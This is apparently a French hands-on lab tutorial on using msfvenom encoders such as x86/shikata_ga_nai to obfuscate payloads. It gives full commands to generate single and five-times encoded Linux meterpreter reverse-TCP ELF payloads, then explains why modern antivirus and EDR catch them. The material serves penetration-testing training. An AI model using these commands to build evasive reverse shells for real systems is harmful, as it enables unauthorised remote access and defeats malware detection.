Introduction
Dans le domaine de la cybersécurité, l'obfuscation de la charge utile (payload) est une technique essentielle utilisée pour échapper à la détection par les logiciels de sécurité. msfvenom, un outil puissant du Metasploit Framework, est un générateur de charge utile autonome qui peut également être utilisé pour encoder les charges utiles, modifiant leur structure pour éviter la détection basée sur les signatures par les systèmes antivirus (AV).
Un encodeur applique une série de transformations au code original de la charge utile, la rendant illisible pour les analyseurs de signatures simples. Lorsque la charge utile est exécutée, un petit stub décodeur s'exécute en premier, reconstruit la charge utile originale en mémoire, puis lui transfère l'exécution.
Dans ce laboratoire, vous apprendrez les bases de l'utilisation des encodeurs msfvenom. Vous commencerez par lister les encodeurs disponibles, puis sélectionnerez un encodeur populaire pour générer une charge utile encodée, appliquerez plusieurs itérations d'encodage, et enfin discuterez de l'efficacité de cette technique face aux solutions de sécurité modernes.
Lister les encodeurs disponibles avec msfvenom --list encoders
Dans cette étape, vous commencerez par lister tous les encodeurs disponibles dans msfvenom. Cela vous donnera un aperçu des différentes options dont vous disposez pour l'obfuscation des charges utiles.
Tout d'abord, vous devez vous assurer que le Metasploit Framework, qui inclut msfvenom, est installé. Exécutez les commandes suivantes pour mettre à jour votre liste de paquets et l'installer.
sudo apt-get update
sudo apt-get install -y metasploit-framework
Une fois l'installation terminée, vous pouvez lister tous les encodeurs disponibles en utilisant l'option --list encoders avec msfvenom. Cette commande affichera un tableau des encodeurs avec leur rang, leur nom et une brève description. Le rang indique la fiabilité et l'efficacité de l'encodeur, excellent étant le plus élevé.
Exécutez la commande suivante dans votre terminal :
msfvenom --list encoders
Vous verrez une longue liste d'encodeurs disponibles. La sortie sera structurée comme suit, montrant le nom, le rang et la description de chacun.
Framework Encoders [--list encoders]
====================================
Name Rank Description
---- ---- -----------
cmd/brace low Bash Brace Expansion Command Encoder
cmd/echo good Echo Command Encoder
cmd/generic_sh manual Generic Shell Variable Substitution Command Encoder
cmd/ifs low Bourne ${IFS} Substitution Command Encoder
cmd/perl normal Perl Command Encoder
cmd/powershell_base64 excellent Powershell Base64 Command Encoder
cmd/sh_char_code manual Shell Char Code Substitution Command Encoder
...
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
...
x64/zutto normal Ruby based x64 encoder
Prenez un moment pour parcourir la liste afin de voir la variété d'encodeurs disponibles pour différentes architectures et objectifs.
Sélectionner un encodeur comme x86/shikata_ga_nai
Dans cette étape, vous découvrirez l'un des encodeurs les plus connus : x86/shikata_ga_nai. Il n'y a pas de commande à exécuter dans cette étape ; l'objectif est de comprendre pourquoi un encodeur spécifique pourrait être choisi.
Dans la liste que vous avez générée à l'étape précédente, vous avez probablement remarqué l'encodeur x86/shikata_ga_nai. Il est célèbre pour plusieurs raisons :
- Rang : Il a un rang
excellent, ce qui signifie qu'il est très fiable et peu susceptible de corrompre la charge utile pendant le processus d'encodage. - Polymorphisme : C'est un encodeur polymorphe. Cela signifie qu'il modifie son propre code de décryptage chaque fois qu'il est appliqué. En théorie, cela rend beaucoup plus difficile pour les logiciels antivirus de créer une signature statique pour le stub décodeur.
- Utilisation étendue : Il a été l'un des encodeurs les plus populaires et par défaut dans Metasploit pendant de nombreuses années, ce qui en fait un exemple classique pour l'apprentissage de l'obfuscation.
Bien que sa popularité ait également conduit à ce qu'il soit fortement identifié par les AV modernes (un sujet que nous aborderons plus tard), il reste un exemple parfait pour démontrer le processus d'encodage. Dans l'étape suivante, vous utiliserez cet encodeur pour obfusquer une charge utile.
Générer une charge utile en utilisant le drapeau -e pour spécifier l'encodeur
Dans cette étape, vous allez générer une charge utile et lui appliquer l'encodeur x86/shikata_ga_nai. Vous utiliserez le drapeau -e pour spécifier l'encodeur choisi.
Créons une simple charge utile Linux reverse TCP. Cette charge utile tentera de se connecter à une adresse IP et un port spécifiés. Nous l'encoderons et la sauvegarderons sous forme de fichier ELF (Executable and Linkable Format), qui est le format binaire standard pour Linux.
La structure de la commande est la suivante :
msfvenom -p <payload> LHOST=<ip> LPORT=<port> -e <encoder> -f <format> > <output_file>
-p: Spécifie la charge utile. Nous utiliseronslinux/x86/meterpreter/reverse_tcp.LHOSTetLPORT: Options requises par la charge utile pour savoir où se connecter. Nous utiliserons127.0.0.1(localhost) pour cet exemple.-e: Spécifie l'encodeur. Nous utiliseronsx86/shikata_ga_nai.-f: Spécifie le format de sortie. Nous utiliseronself.>: Redirige la sortie vers un fichier.
Maintenant, exécutez la commande suivante dans votre terminal pour générer la charge utile encodée et la sauvegarder sous le nom encoded_payload.elf :
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -e x86/shikata_ga_nai -f elf > encoded_payload.elf
msfvenom traitera la requête et vous affichera des informations sur la charge utile générée, y compris sa taille finale.
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, choosing x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 104 (iteration=0)
x86/shikata_ga_nai chosen with final size 104
Payload size: 104 bytes
Final size of elf file: 224 bytes
Vous avez maintenant créé avec succès un fichier de charge utile encodée nommé encoded_payload.elf dans votre répertoire actuel (~/project). Vous pouvez vérifier sa création avec la commande ls -l.
ls -l
total 4
-rw-r--r-- 1 labex labex 224 May 20 10:30 encoded_payload.elf
Utiliser le drapeau -i pour appliquer plusieurs itérations d'encodage
Dans cette étape, vous apprendrez comment appliquer l'encodeur plusieurs fois à la même charge utile en utilisant le drapeau -i pour les itérations. La théorie est que plusieurs couches d'encodage rendront la charge utile encore plus difficile à détecter.
Bien que cela semble efficace, cela présente des inconvénients. Chaque itération d'encodage ajoute un nouveau stub décodeur, ce qui augmente la taille globale de la charge utile. De plus, cela peut parfois créer un motif répétitif que les logiciels de sécurité peuvent détecter.
Appliquons l'encodeur x86/shikata_ga_nai 5 fois à la même charge utile. Nous sauvegarderons cette nouvelle charge utile sous le nom multi_encoded_payload.elf pour la comparer à la précédente.
Utilisez la commande suivante, en ajoutant le drapeau -i 5 :
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f elf > multi_encoded_payload.elf
msfvenom va maintenant appliquer l'encodeur cinq fois. Remarquez la sortie, qui montre chaque itération.
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, choosing x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 104 (iteration=0)
x86/shikata_ga_nai succeeded with size 131 (iteration=1)
x86/shikata_ga_nai succeeded with size 158 (iteration=2)
x86/shikata_ga_nai succeeded with size 185 (iteration=3)
x86/shikata_ga_nai succeeded with size 212 (iteration=4)
x86/shikata_ga_nai chosen with final size 212
Payload size: 212 bytes
Final size of elf file: 332 bytes
Maintenant, utilisez ls -l pour comparer les tailles des fichiers des charges utiles encodées une fois et plusieurs fois.
ls -l
total 8
-rw-r--r-- 1 labex labex 224 May 20 10:30 encoded_payload.elf
-rw-r--r-- 1 labex labex 332 May 20 10:35 multi_encoded_payload.elf
Comme vous pouvez le constater, multi_encoded_payload.elf est significativement plus grand que encoded_payload.elf en raison du processus d'encodage répété.
Discuter de l'efficacité des encodeurs contre les antivirus modernes
Dans cette dernière étape, nous discuterons de l'efficacité réelle des encodeurs de base comme x86/shikata_ga_nai. Cette étape est purement conceptuelle et il n'y a pas de commandes à exécuter.
Bien que les encodeurs aient été autrefois une méthode très efficace pour contourner les antivirus (AV), leur efficacité a considérablement diminué face aux solutions de sécurité modernes comme les antivirus de nouvelle génération (NGAV) et les systèmes de détection et de réponse des points d'extrémité (EDR). Voici pourquoi :
Signature du décodeur : Les fournisseurs de sécurité connaissent le fonctionnement des encodeurs populaires. Le stub décodeur de
shikata_ga_naiest, en soi, une signature bien connue. De nombreux produits AV signaleront un fichier simplement parce qu'il contient ce décodeur, indépendamment de la charge utile qu'il tente de décoder. L'application de plus d'itérations (drapeau-i) rend souvent cette signature encore plus évidente.Analyse heuristique et comportementale : Les antivirus modernes ne se basent pas uniquement sur des signatures statiques. Ils utilisent des heuristiques pour identifier les caractéristiques suspectes (par exemple, un petit programme essayant d'allouer de la mémoire exécutable) et une analyse comportementale pour surveiller ce qu'un programme fait lorsqu'il s'exécute. Une charge utile encodée qui se décode elle-même en mémoire puis tente d'ouvrir un reverse shell est un comportement très suspect qui est facilement détecté.
Sandboxing et émulation : De nombreux produits de sécurité peuvent exécuter un fichier suspect dans un environnement virtuel sécurisé (un sandbox) pour observer son comportement avant qu'il ne s'exécute sur le système réel. Dans le sandbox, l'AV peut laisser la charge utile se décoder elle-même, puis analyser le code malveillant d'origine.
En conclusion, bien que la compréhension des encodeurs msfvenom soit une compétence fondamentale, s'appuyer uniquement sur eux pour l'obfuscation n'est pas une stratégie viable dans les environnements modernes. L'évasion avancée nécessite des techniques plus sophistiquées, telles que la création d'encodeurs personnalisés, l'utilisation de packers et de crypters, et l'emploi de méthodes qui ciblent et contournent spécifiquement les moteurs de détection comportementale.
Résumé
Dans ce laboratoire, vous avez exploré les bases de l'obfuscation de charge utile à l'aide des encodeurs msfvenom.
Vous avez appris à :
- Lister tous les encodeurs disponibles avec
msfvenom --list encoders. - Sélectionner et comprendre le but d'un encodeur polymorphique populaire comme
x86/shikata_ga_nai. - Générer une charge utile encodée à l'aide du drapeau
-e. - Appliquer plusieurs itérations d'encodage avec le drapeau
-iet observer l'impact sur la taille du fichier. - Comprendre les limitations des encodeurs de base face aux solutions antivirus et EDR modernes.
Ces connaissances fournissent une base solide pour comprendre la génération de charge utile et le jeu du chat et de la souris entre la détection de logiciels malveillants et l'évasion. Les techniques que vous avez pratiquées sont un point de départ pour explorer des méthodes d'obfuscation plus avancées utilisées dans les tests d'intrusion professionnels.


